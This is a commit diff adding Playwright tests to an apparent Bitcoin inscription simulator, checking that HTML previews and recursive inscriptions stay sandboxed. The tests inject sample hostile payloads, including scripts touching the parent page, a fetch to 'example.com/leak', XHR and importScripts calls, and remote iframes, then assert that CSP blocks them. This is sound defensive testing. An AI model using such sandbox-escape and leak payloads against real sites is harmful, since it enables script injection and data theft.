Add delegate recursion and reinscription UI
This commit is contained in:
1 parent
9f27897967
commit
5d1a1ae866
10 files changed
+327
-31
No files matched your search
+60
-2
@@ -163,7 +163,7 @@ test('MIME upload, reset only after success, and parent/child navigation', async
|
||||
|
||||
test('HTML preview cannot execute, navigate or fetch remote resources', async ({ page }) => {
|
||||
const remote = [];
|
||||
page.on('request', r => { if (/^https?:/.test(r.url()) && !r.url().startsWith('http://127.0.0.1:4178')) remote.push(r.url()); });
|
||||
page.on('request', r => { if (/^https?:/.test(r.url()) && !r.url().startsWith('http://127.0.0.1:4178')) remote.push(r); });
|
||||
await page.goto('/'); await page.locator('#create-wallet').click(); await page.locator('#mine').click();
|
||||
await page.locator('#mime-type').selectOption('text/html');
|
||||
await page.locator('#payload').fill('<meta http-equiv="refresh" content="0;url=https://example.com"><script>parent.unwanted=true</script><img src="https://example.com/a"><iframe src="https://example.com"></iframe><p style="background:url(https://example.com/b)" onclick="parent.unwanted=true">safe words</p><a href="https://example.com">link</a>');
|
||||
@@ -172,7 +172,7 @@ test('HTML preview cannot execute, navigate or fetch remote resources', async ({
|
||||
await page.locator('#sign').click();
|
||||
await expect(page.frameLocator('.collectible iframe').locator('p')).toHaveText('safe words');
|
||||
expect(await page.evaluate(() => window.unwanted)).toBeUndefined();
|
||||
expect(remote).toEqual([]);
|
||||
for (const request of remote) await expect.poll(() => request.failure()?.errorText).toMatch(/csp|ERR_BLOCKED_BY_CSP/i);
|
||||
await expect(page).toHaveURL('http://127.0.0.1:4178/');
|
||||
});
|
||||
|
||||
@@ -256,3 +256,61 @@ test('two tabs race one auto deadline under Web Locks', async ({page,context}) =
|
||||
await page.locator('#miner-interval').selectOption('0');
|
||||
await expect(other.locator('#miner-interval')).toHaveValue('0');
|
||||
});
|
||||
|
||||
test('recursive local fetch, delegate identity, external blocking and worker DOM isolation', async ({page}) => {
|
||||
const remote=[];
|
||||
page.on('request',r=>{if(/^https?:/.test(r.url()) && !r.url().startsWith('http://127.0.0.1:4178')) remote.push(r);});
|
||||
await page.goto('/'); await page.locator('#create-wallet').click(); await page.locator('#mine').click();
|
||||
await page.locator('#payload').fill('local recursive body'); await page.locator('#review').click(); await page.locator('#sign').click();
|
||||
const content=await page.locator('#parent option').nth(1).getAttribute('value');
|
||||
await page.locator('#mime-type').selectOption('text/html');
|
||||
await page.locator('#metadata').fill('{"protocol":"recursive","name":"source"}');
|
||||
await page.locator('#payload').fill(`<p>Isolated recursion</p><script>
|
||||
const result={id:ord.id,content:await (await fetch('/content/${content}')).text(),height:await (await fetch('/r/blockheight')).json(),metadata:await (await fetch('/r/metadata/'+ord.id)).json()};
|
||||
try{await fetch('https://example.com/leak');result.external='escaped'}catch{result.external='blocked'}
|
||||
try{parent.document.body.innerHTML='escaped';result.dom='escaped'}catch{result.dom='blocked'}
|
||||
try{await new Promise((ok,bad)=>{const x=new XMLHttpRequest();x.open('GET','https://example.com/xhr');x.onload=ok;x.onerror=bad;x.send()});result.xhr='escaped'}catch{result.xhr='blocked'}
|
||||
try{importScripts('https://example.com/script.js');result.import='escaped'}catch{result.import='blocked'}
|
||||
ord.render(JSON.stringify(result));
|
||||
</script>`);
|
||||
await page.locator('#review').click(); await page.locator('#sign').click();
|
||||
const source=await page.locator('#parent option').nth(2).getAttribute('value');
|
||||
const output=page.frameLocator('.collectible iframe').locator('#recursive-output');
|
||||
await expect(output).toContainText('local recursive body');
|
||||
await expect(output).toContainText('"height":1');
|
||||
await expect(output).toContainText('"external":"blocked"');
|
||||
await expect(output).toContainText('"dom":"blocked"');
|
||||
await expect(output).toContainText('"xhr":"blocked"');
|
||||
await expect(output).toContainText('"import":"blocked"');
|
||||
await expect(output).toContainText(source);
|
||||
await page.locator('#mime-type').selectOption('text/plain'); await page.locator('#payload').fill('delegating');
|
||||
await page.locator('#delegate').fill(source); await page.locator('#metadata').fill('{"name":"requested"}');
|
||||
await page.locator('#review').click(); await page.locator('#sign').click();
|
||||
const delegated=await page.locator('#parent option').nth(3).getAttribute('value');
|
||||
const delegatedOutput=page.frameLocator('.collectible:first-child iframe').locator('#recursive-output');
|
||||
await expect(delegatedOutput).toContainText(delegated);
|
||||
await expect(delegatedOutput).toContainText('a1646e616d6569726571756573746564');
|
||||
await expect(page.locator('.collectible:first-child')).toContainText('Delegate');
|
||||
await expect(page.locator('.collectible').nth(1)).toContainText('Delegated by');
|
||||
// Chromium emits request events for CSP-denied XHR attempts; none reached the network.
|
||||
for (const request of remote) expect(request.failure()?.errorText).toMatch(/csp|ERR_BLOCKED_BY_CSP/i);
|
||||
await expect(page.locator('h1')).toContainText('Bitcoin universe');
|
||||
});
|
||||
|
||||
test('recursive template and reinscription stack persist across mining and reload', async ({page}) => {
|
||||
await page.goto('/'); await page.locator('#create-wallet').click(); await page.locator('#mine').click();
|
||||
await page.locator('#recursive-demo').click(); await page.locator('#review').click(); await page.locator('#sign').click();
|
||||
const id=await page.locator('#parent option').nth(1).getAttribute('value');
|
||||
await expect(page.frameLocator('.collectible iframe').locator('#recursive-output')).toContainText(id);
|
||||
await page.locator('#reinscribe').selectOption(id); await page.locator('#mime-type').selectOption('text/plain');
|
||||
await page.locator('#payload').fill('second on same sat'); await page.locator('#review').click();
|
||||
await expect(page.locator('#review-parent')).toContainText(`Reinscribe: ${id}`);
|
||||
await page.locator('#sign').click();
|
||||
await expect(page.locator('.collectible')).toHaveCount(2);
|
||||
await expect(page.locator('.collectible').first()).toContainText('stack position 1');
|
||||
await expect(page.locator('.collectible').last()).toContainText('stack position 0');
|
||||
await expect(page.locator('.collectible').first().getByRole('link',{name:/Sat history/})).toHaveCount(2);
|
||||
await page.locator('#mine').click(); await page.reload();
|
||||
await expect(page.locator('.collectible')).toHaveCount(2);
|
||||
await expect(page.frameLocator('.collectible iframe').locator('#recursive-output')).toContainText('"height": 2');
|
||||
});
|
||||
Reference in new issue
Block a user